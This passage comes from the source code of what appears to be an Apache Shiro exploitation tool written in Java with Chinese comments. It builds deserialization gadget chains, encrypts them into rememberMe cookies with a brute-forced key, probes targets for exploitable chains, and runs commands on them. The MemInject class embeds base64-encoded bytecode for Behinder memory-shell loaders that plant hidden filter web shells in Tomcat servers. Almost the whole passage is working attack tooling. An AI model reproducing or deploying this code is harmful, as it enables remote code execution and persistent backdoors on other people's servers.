45 | resp = this.httpUtils.getPostRequestResponse(url,echoCookie,cmd);
46 | }
47 |
48 | if (paramContext.get("OutputType").equals("1")){
49 | this.myController.result.appendText("\nPayload输出模式:");
50 | this.myController.result.appendText("\n" + echoCookie + "\n");
51 | this.myController.result.appendText("co0kie:" + cmd + "\n");
52 | }
53 |
54 | this.myController.result.appendText("[+] 命令: " +cmd);
55 | // 这里需要处理的,我们需要把结果放在 $$$ 之间
56 | if (resp.indexOf("$$$") != -1){
57 | int start = resp.indexOf("$$$");
58 | int end = resp.lastIndexOf("$$$");
59 | String cmdResp = resp.substring(start+3,end);
60 | this.myController.result.appendText(cmdResp);
61 | }else {
62 | this.myController.result.appendText("[!] 未检测到回显标志符,请结合Payload输出模式进行手动排查\n");
63 | }
64 | } else {
65 | this.myController.result.appendText("[!] 请先检测对应的利用链!\n");
66 | }
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/src/main/java/core/GadgetCheck.java:
--------------------------------------------------------------------------------
1 | package core;
2 |
3 | import common.HttpUtils;
4 | import common.PayloadEncrypt;
5 | import entity.ControllersFactory;
6 | import payloads.CommonsBeanutils1;
7 | import payloads.CommonsBeanutils1_183;
8 | import payloads.CommonsCollections11;
9 | import payloads.CommonsCollectionsK1;
10 | import payloads.check.TomcatGadgetCheck;
11 | import payloads.util.Reflections;
12 | import payloads.util.Serializer;
13 | import ui.MyController;
14 |
15 | import java.util.List;
16 | import java.util.Map;
17 |
18 | public class GadgetCheck {
19 | final private MyController myController = (MyController) ControllersFactory.controllers.get(MyController.class.getSimpleName());
20 | final private Map paramContext = ControllersFactory.paramsContext;
21 | final private Map loaderByte = ControllersFactory.loaderByte;
22 | private HttpUtils httpUtils = new HttpUtils();
23 |
24 |
25 | public boolean tomcatCheckGadget(String method,String gadget) throws Exception {
26 | // 对应链的探测的字节码 这里都是 tomcat 的利用链
27 | loaderByte.put("CommonsCollections11", Serializer.serialize(new CommonsCollections11().getObject(TomcatGadgetCheck.gadgetCheck())));
28 | loaderByte.put("CommonsBeanutils1", Serializer.serialize(new CommonsBeanutils1().getObject(TomcatGadgetCheck.gadgetCheck())));
29 | loaderByte.put("CommonsBeanutils1_183", Serializer.serialize(new CommonsBeanutils1_183().getObject(TomcatGadgetCheck.gadgetCheck())));
30 | loaderByte.put("CommonsCollectionsK1", Serializer.serialize(new CommonsCollectionsK1().getObject(TomcatGadgetCheck.gadgetCheck())));
31 | // 获取爆破成功的 shiro key
32 | String k = paramContext.get("ShiroKey");
33 | if (k != null){
34 | Map> header = null;
35 | List echo = null;
36 | String checkCookie = null;
37 | // 按钮选中的对应的利用链
38 | byte[] bytes = loaderByte.get(gadget);
39 | // 获取加密方式
40 | String encryptType = this.paramContext.get("Encrypt");
41 | // payload 进行加密生成
42 | if (encryptType.equals("CBC")){
43 | checkCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesCbcEncrypt(bytes,k);
44 | } else{
45 | checkCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesGcmEncrypt(bytes,k);
46 | }
47 |
48 | String url = paramContext.get("URL");
49 | if (paramContext.get("OutputType").equals("1")){
50 | this.myController.result.appendText("\nPayload输出模式:");
51 | this.myController.result.appendText("\nCookie: " + checkCookie + "\n\n");
52 | }
53 |
54 | if (method.equals("GET")){
55 | header = this.httpUtils.sendGetRequest(url,checkCookie);
56 | } else {
57 | header = this.httpUtils.sendPostRequest(url,checkCookie,null);
58 | }
59 |
60 | if (header != null){
61 | echo = header.get("echo");
62 | if (echo == null){
63 | echo = header.get("Echo");
64 | }
65 | if (echo != null && echo.toString().contains("success")){
66 | this.myController.result.appendText("[+] " +gadget+ "可利用!\n");
67 | return true;
68 | }else {
69 | this.myController.result.appendText("[!] " +gadget+ "不可用!\n");
70 | return false;
71 | }
72 | }
73 | }
74 | this.myController.result.appendText("[!] 请先输入key或爆破key\n");
75 | return false;
76 | }
77 | }
78 |
--------------------------------------------------------------------------------
/src/main/java/core/MemInject.java:
--------------------------------------------------------------------------------
1 | package core;
2 |
3 | import common.CommonUtils;
4 | import common.HttpUtils;
5 | import common.PayloadEncrypt;
6 | import entity.ControllersFactory;
7 | import payloads.echo.TomcatEcho;
8 | import payloads.util.Serializer;
9 | import sun.misc.BASE64Decoder;
10 | import ui.MyController;
11 |
12 | import javax.servlet.jsp.PageContext;
13 | import java.io.InputStream;
14 | import java.lang.reflect.Field;
15 | import java.lang.reflect.Method;
16 | import java.net.URLDecoder;
17 | import java.util.List;
18 | import java.util.Map;
19 |
20 | public class MemInject {
21 |
22 | final private MyController myController = (MyController) ControllersFactory.controllers.get(MyController.class.getSimpleName());
23 | final private Map paramContext = ControllersFactory.paramsContext;
24 | final private Map loaderByte = ControllersFactory.loaderByte;
25 | final private Map successGadget = ControllersFactory.successGadget;
26 | private static Map memShellLoader = ControllersFactory.memShellLoader;
27 | private HttpUtils httpUtils = new HttpUtils();
28 | public PageContext pageContext;
29 |
30 | static {
31 | memShellLoader.put("BehinderLoader", "yv66vgAAADQAzwoAPQBaCgADAFsHAFwKACsAXQcAXgoAKwBfCgBgAGEKAGAAYgoABQBjCgBkAGUKAGQAZggAZwoAMABoBwBpCgBkAGoIAGsKAGwAbQgAbggAbwcAcAgAcQgAcggAcwoABQB0CAB1BwB2CwAaAHcLABoAeAcAeQgAegcAewoAHwB8BwB9CgAhAH4KACEAfwgAgAoAIQCBBwCCCgAmAFoKACYAgwcAhAgAhQcAhgcAhwkAMgCICgArAIkKAIoAYQcAiwoAKwCMBwCNCgAyAI4KAIoAjwgAkAoAKwCRBwCSBwCTCgCUAJUKAAMAlgcAlwoAOwB0BwCYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACGdldEZpZWxkAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAA1TdGFja01hcFRhYmxlBwCZBwCGBwBeAQAKRXhjZXB0aW9ucwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAmgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAg8Y2xpbml0PgcAmwcAnAcAXAcAdgcAeQcAewcAfQcAnQcAngcAlwEAClNvdXJjZUZpbGUBABNCZWhpbmRlckxvYWRlci5qYXZhDAA+AD8MAJ8AoAEAEGphdmEvbGFuZy9PYmplY3QMAKEAogEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgwAowCgBwCZDACkAKUMAKYApwwAPgCoBwCbDACpAKoMAKsArAEAB3RocmVhZHMMAEIAQwEAE1tMamF2YS9sYW5nL1RocmVhZDsMAK0ArgEABGV4ZWMHAJwMAK8AsAEABGh0dHABAAZ0YXJnZXQBABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAAdoYW5kbGVyAQAGZ2xvYmFsDACxAD8BAApwcm9jZXNzb3JzAQAOamF2YS91dGlsL0xpc3QMALIAswwApgC0AQAdb3JnL2FwYWNoZS9jb3lvdGUvUmVxdWVzdEluZm8BAANyZXEBABlvcmcvYXBhY2hlL2NveW90ZS9SZXF1ZXN0DAC1ALQBACVvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0DAC2ALcMALgAuQEACmNsYXNzRGF0YTEMALoAuwEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMALwAvQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQACW0IMAL4AvwwAwADBBwDCAQAOQmVoaW5kZXJMb2FkZXIMAMMAxAEAEWphdmEvbGFuZy9JbnRlZ2VyDAA+AMUMAMYAxwEACmNsYXNzRGF0YTIMAMgAyQEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQcAygwAywDMDADNAM4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1RocmVhZAEAEGphdmEvbGFuZy9TdHJpbmcBACZvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZQEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAPcHJpbnRTdGFja1RyYWNlAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldE5vdGUBAAtnZXRSZXNwb25zZQEAKigpTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlOwEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAEKEkpVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgAhADAAPQAAAAAABQABAD4APwABAEAAAAAdAAEAAQAAAAUqtwABsQAAAAEAQQAAAAYAAQAAAAkACQBCAEMAAgBAAAAAmwADAAUAAAA4AU0qtgACTi0SA6UAFi0rtgAETacADToELbYABk6n/+osxgAOLAS2AAcsKrYACLC7AAVZK7cACb8AAQANABMAFgAFAAIAQQAAADIADAAAAEgAAgBJAAcASwANAE0AEwBOABYATwAYAFAAHQBRACAAVQAkAFYAKQBXAC8AWQBEAAAAEQAE/QAHBwBFBwBGTgcARwkOAEgAAAAEAAEAOwABAEkASgACAEAAAAAZAAAAAwAAAAGxAAAAAQBBAAAABgABAAAAYABIAAAABAABAEsAAQBJAEwAAgBAAAAAGQAAAAQAAAABsQAAAAEAQQAAAAYAAQAAAGUASAAAAAQAAQBLAAgATQA/AAEAQAAAA5UACQAVAAACMwM7uAAKtgALEgy4AA3AAA7AAA5MAz0cK76iAhErHDJOLcYB/C22AA86BBkEEhC2ABGaAewZBBIStgARmQHiLRITuAANOgUBOgYZBcEAFJkAIBkFEhW4AA0SFrgADRIXuAANOganAAo6BxkHtgAYGQbGAa0ZBhIZuAANwAAaOgcDPRwZB7kAGwEAogGUGQccuQAcAgDAAB06CBkIEh64AA3AAB86CRkJBLYAIMAAIToKGQq2ACI6CxkKtgAjOgwZChIktgAlOg27ACZZtwAnGQ22ACg6DhIpEioGvQArWQMSLFNZBLIALVNZBbIALVO2AC46DxkPBLYALxkPEjC2ADEGvQADWQMZDlNZBLsAMlkDtwAzU1kFuwAyWRkOvrcAM1O2ADTAACs6EBkKEjW2ACU6EbsAJlm3ACcZEbYAKDoSEikSKga9ACtZAxIsU1kEsgAtU1kFsgAtU7YALjoTGRMEtgAvGRMSMLYAMQa9AANZAxkSU1kEuwAyWQO3ADNTWQW7ADJZGRK+twAzU7YANMAAKzoUGRQEvQArWQMZEFO2ADYEvQADWQMZEAW9ACtZAxI3U1kEEjhTtgA2Bb0AA1kDGQpTWQQZC1O2ADlTtgA5B70AA1kDGQpTWQQZC1NZBRkMU1kGGRAFvQArWQMSN1NZBBI4U7YANgW9AANZAxkKU1kEGQtTtgA5U7YAOlenAAo6DRkNtgA8BDunAAMamQAGpwAJhAIBp/3vpwAISyq2ADyxAAMAUQBkAGcABQC+Ag4CEQA7AAACKgItADsAAgBBAAAAvgAvAAAADQACAA4AFAAPABwAEAAgABEAJAASACoAEwA+ABQARgAVAEkAFgBRABgAZAAbAGcAGQBpABoAbgAdAHMAHgB/AB8AjAAgAJkAIQClACIAsAAjALcAJAC+ACYAxwAnANUAKADzACkA+QAqASkAKwEyACwBQAAtAV4ALgFkAC8BlAAxAbgAMgH1ADMCDgA2AhEANAITADUCGAA3AhoAOAIdAD0CIQA+AiQADwIqAEMCLQBBAi4AQgIyAEQARAAAAHQAC/4AFgEHAA4B/wBQAAcBBwAOAQcATgcATwcAUAcAUAABBwBHBvwAEgcAUf8BjwANAQcADgEHAE4HAE8HAFAHAFAHAFEHAFIHAFMHAFQHAFUHAFYAAQcAVwb/AAQABAEHAA4BBwBOAAD6AAb4AAVCBwBXBAABAFgAAAACAFk=");
32 | memShellLoader.put("PageContext","yv66vgAAADQAMwoACAApCQAHACoJAAcAKwcALAsABAAtCgAIAC4HAC8HADABAAdyZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAGZ2V0T3V0AQASKClMamF2YS9pby9Xcml0ZXI7AQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQ7AQAGPGluaXQ%2BAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEAEE1ldGhvZFBhcmFtZXRlcnMBAAMoKVYBAApzZXRSZXF1ZXN0AQAhKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OylWAQALc2V0UmVzcG9uc2UBACIoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAR0ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAFiAQACW0IBAApTb3VyY2VGaWxlAQAQUGFnZUNvbnRleHQuamF2YQwAFAAXDAAJAAoMAAsADAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMABwAHQwAMQAyAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEABwAIAAAAAgAAAAkACgAAAAAACwAMAAAACQABAA0ADgABAA8AAAAsAAEAAQAAAAIBsAAAAAIAEAAAAAYAAQAAABEAEQAAAAwAAQAAAAIAEgATAAAAAQAUABUAAgAPAAAAWQACAAMAAAAPKrcAASortQACKiy1AAOxAAAAAgAQAAAAEgAEAAAAFAAEABUACQAWAA4AFwARAAAAIAADAAAADwASABMAAAAAAA8ACQAKAAEAAAAPAAsADAACABYAAAAJAgAJAAAACwAAAAEAFAAXAAEADwAAADMAAQABAAAABSq3AAGxAAAAAgAQAAAACgACAAAAGQAEABsAEQAAAAwAAQAAAAUAEgATAAAAAQAYABkAAgAPAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAQAAAACgACAAAAHgAFAB8AEQAAABYAAgAAAAYAEgATAAAAAAAGAAkACgABABYAAAAFAQAJAAAAAQAaABsAAgAPAAAAPgACAAIAAAAGKiu1AAOxAAAAAgAQAAAACgACAAAAIgAFACMAEQAAABYAAgAAAAYAEgATAAAAAAAGAAsADAABABYAAAAFAQALAAAAAQAcAB0AAQAPAAAARwABAAIAAAAPKrQAAsAABEwruQAFAQCwAAAAAgAQAAAACgACAAAAJgAIACcAEQAAABYAAgAAAA8AEgATAAAACAAHAB4AHwABAAEAIAAhAAEADwAAAC8AAQABAAAABSq0AAKwAAAAAgAQAAAABgABAAAALAARAAAADAABAAAABQASABMAAAABACIAIwABAA8AAAAvAAEAAQAAAAUqtAADsAAAAAIAEAAAAAYAAQAAADEAEQAAAAwAAQAAAAUAEgATAAAAAQAeACQAAgAPAAAAPQAEAAIAAAAJKisDK763AAawAAAAAgAQAAAABgABAAAANQARAAAAFgACAAAACQASABMAAAAAAAkAJQAmAAEAFgAAAAUBACUAAAABACcAAAACACg%3D");
33 | memShellLoader.put("MemBehinder3", "yv66vgAAADQBZAoAMQCSCQA9AJMJAD0AlAcAlQcAlgsABACXCABmCwAEAJgLAAQAmQgAmgoAXgCbCACcCACdCwAFAJ4KAD0AnwgAoAsAOwChCgA8AKIKADwAowgApAoApQCmBwCnBwCoCgAXAJILADsAqQoAFwCqCACrCgAXAKwKABcArQoAXgCuCgAWAK8KAKUAsAsABACxCgCyALMIALQKACYAtQgAtgcAtwcAuAkAMgC5CgAmALoKALsAvAcAvQoAKwCSCgArAL4KAKUAvwoAMQDACgAmAMEHAMIHAMMKADIAxAoAuwDFCgAmAMYKADEAmwcAxwsAyADJBwDKBwDLBwDMBwDNBwDOCgA9AM8IANAIANEKAD0A0gcA0woAQgDUCADVCgDWANcKAF4A2AoA1gDZBwDaCgDWANsKAEgA3AoASADdCgBeAN4KAF4A3woAXgDgCwAEAOELAOIA4wgA5AoAJgDlCgDmALwKAOYA5wcA6AcA6QcA6ggA6wkA7ADtCgDmAO4LAOIA7wkA8ADxCgDyAPMHAPQLAPUA9ggA9woAJgD4CQDsAPkHAPoBAAtwYWdlQ29udGV4dAEAH0xqYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dDsBAARwYXNzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ%2BAQAiKExqYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dDspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEACkV4Y2VwdGlvbnMHAPsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA1TdGFja01hcFRhYmxlBwCVBwCWBwDMBwDOBwD8BwD9BwD%2BBwD0BwDHBwD%2FAQAHZGVzdHJveQEAAygpVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgcAwgcAywcAzQcA0wEAA21kNQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQZHluYW1pY0FkZEZpbHRlcgEAZChMamF2YXgvc2VydmxldC9GaWx0ZXI7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7KVYHAPoHAQAHAQEHAOgHAOkHAQQHAQUBAApTb3VyY2VGaWxlAQARTWVtQmVoaW5kZXIzLmphdmEMAGgAfgwAZgBnDABkAGUBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAQYBBwwBCACGDAEJAIYBAAdzdWNjZXNzDAB%2FAIABAAZJbmplY3QBAAdTdWNjZXNzDAEKAQsMAIUAhgEAAXUMAQwBDQwBDgEPDAEQAREBAANBRVMHARIMARMBFAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBFQEWDAEXARgBAAAMARcBGQwBGgEbDAEcAR0MAGgBHgwAbAEfDAEgASEHASIMASMBGwEAFWphdmEubGFuZy5DbGFzc0xvYWRlcgwBJAElAQALZGVmaW5lQ2xhc3MBAA9qYXZhL2xhbmcvQ2xhc3MBAAJbQgwBJgEnDAEoASkHASoMASsBLAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAS0BLgwBLwEwDAExATIMATMBNAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvSW50ZWdlcgwAaAE1DAE2ATcMATgBOQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAP4MAHABOgEAE1tMamF2YS9sYW5nL09iamVjdDsBACZvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZQEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0AQAMTWVtQmVoaW5kZXIzDABoAGkBAAhCZWhpbmRlcgEAAi8qDACHAIgBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgwBOwB%2BAQADTUQ1BwE8DAETAT0MAT4BPwwBQAFBAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAUIBHQwAaAFDDAEaAUQMAUUBGwwBRgFHDAFIARsMAUkBSgcBAAwBSwFMAQAHY29udGV4dAwBTQFOBwEBDAFPAVABACtvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25Db250ZXh0AQAob3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dAEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvdXRpbC9MaWZlY3ljbGVCYXNlAQAFc3RhdGUHAVEMAVIBUwwBVAFVDAFWAVcHAVgMAVkBWgcBWwwBXAFdAQAQamF2YS9sYW5nL1N0cmluZwcBBAwBXwFgAQALZmlsdGVyU3RhcnQMAWEBKQwBYgFTAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAB0R5bmFtaWMBAAxJbm5lckNsYXNzZXMBAChqYXZheC9zZXJ2bGV0L0ZpbHRlclJlZ2lzdHJhdGlvbiREeW5hbWljAQATamF2YS9sYW5nL1Rocm93YWJsZQEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAJZ2V0SGVhZGVyAQAMZ2V0UGFyYW1ldGVyAQAJc2V0SGVhZGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIcHV0VmFsdWUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBAApzZXRSZXF1ZXN0AQAhKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OylWAQALc2V0UmVzcG9uc2UBACIoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAhnZXRWYWx1ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZG9GaW5hbAEABihbQilbQgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABChJKVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEAD3ByaW50U3RhY2tUcmFjZQEAG2phdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdAEAMShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAZsZW5ndGgBAAMoKUkBAAZ1cGRhdGUBAAcoW0JJSSlWAQAGZGlnZXN0AQAGKElbQilWAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9Mb3dlckNhc2UBABFnZXRTZXJ2bGV0Q29udGV4dAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQ7AQAVZ2V0RmlsdGVyUmVnaXN0cmF0aW9uAQA2KExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb247AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDs